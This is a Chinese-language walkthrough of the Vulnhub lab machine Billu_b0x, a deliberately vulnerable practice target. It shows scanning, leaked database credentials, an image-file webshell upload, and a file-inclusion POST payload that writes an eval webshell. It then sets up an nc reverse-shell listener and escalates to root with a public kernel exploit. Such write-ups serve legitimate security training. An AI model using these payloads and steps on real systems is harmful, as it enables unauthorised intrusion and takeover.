Billu_b0x内网渗透-vulnhub
本次来试玩一下vulnhub上的Billu_b0x,只有一个flag,下载地址。
下载下来后是 .ova 格式,建议使用vitualbox进行搭建,vmware可能存在兼容性问题。靶场推荐使用NAT(共享)模式,桥接模式可能会造成目标过多不易识别。
IP
Billu_b0x:192.168.31.190
Kali: 192.168.31.17
Win7: 192.168.31.168
信息搜集
端口扫描发现开放了80和22端口
1 | nmap -sV -A -p- 192.168.31.190 |
御剑扫描发现有add.php
c
in
phpmy
test.php
panel.php
等
首页是一个登录窗口,并且提示我们“展现我们sqllabs技巧的时候到了”,明显是sql注入。add.php似乎是一个文件上传,in是phpinfo,phpmy是数据库phpmyadmin的后台管理,test.php似乎是一个file传参的文件包含,panel.php重定向到首页。
渗透过程
常规的还是首页sql注入尝试一下。但手注注不出来,不管什么错误都是报try again。丢进sqlmap不知道什么被过滤了,跑不出注入点,看来这个sql注入是行不通了。
再看一下test.php文件包含,POST先包含一下test.php,直接把文件下了下来,看一下源码并不是文件包含,而是通过一个file_download函数下载。
因此把能下载的文件全都下载下来看一遍。最后在c中发现存在连接数据库的账户密码。
1 | $conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab"); |
phpmy直接登录上去即可进入。
有一种比较骚的做法是直接尝试下载phpmyadmin的默认配置文件,/var/www/phpmy/config.inc.php,下载下来直接就发现有root和roottoor密码,ssh连上去就已经是root用户了,整题就结束了。但这样就太不好玩了,我们还是尝试寻常的办法。
在ica表的auth列中找到后台登录账户和密码,
登录index.php进入panel.php。是一个添加用户和显示用户的界面,先上传一个正常的用户,可以显示出来,右键图片能直接看到上传路径为uploaded_images/,文件名也没有修改。随后上传一个图片码sqzr.jpg,过滤了后缀、文件类型、文件头,利用目录遍历直接访问192.168.31.190/uploaded_images能看到上传成功。
后来在找哪里存在文件包含,test.php显然已经不是了,最终在panel.php中找到
1 | include($dir.'/'.$_POST['load']); |
语法是包含当前目录下的load传参,前面的$dir.’/‘相当于没有。那么直接页面刷新抓包修改load,
1 | load=uploaded_images/sqzr.jpg&continue=continue&sqzr=phpinfo(); |
成功显示phpinfo();
但是此时蚁剑不知道为什么不能直接连接,因此利用sqzr先写入一个shell.php,然后直接连接这个文件。(写入时注意$前需要\转义)
1 | load=uploaded_images/sqzr.jpg&continue=continue&sqzr=system("echo '<?php eval(\$_POST[x]);?>' > uploaded_images/shell.php"); |
提权
进入后先查看版本,是ubuntu 12.04,查找一下漏洞库,有很多漏洞可以利用。我这里使用37292.c
1 | cp /usr/share/exploitdb/exploits/linux/local/37292.c ~/37292.c |
然后下载到靶机
1 | cd ~ |
这里利用蚁剑中的虚拟终端似乎不能提权成功,我还是喜欢使用反弹shell。
蚁剑在uploaded_images中写入shell2.php,源码如下(注意修改):
1 | <?php |
kali监听
1 | nc -lvp 4444 |
然后访问192.168.31.190/uploaded_images/shell2.php就能上线了。
建立虚拟终端
1 | python -c 'import pty;pty.spawn("/bin/bash");' |
然后编译执行那个提权文件就可以了。
1 | gcc -pthread 37292.c -o crack -lcrypt |
此时已经提权成功了。
总结
这个靶场的入手点有很多,包含的元素也很多,文件包含
文件上传
漏洞利用
sql注入
数据库配置
等等,有一定综合性。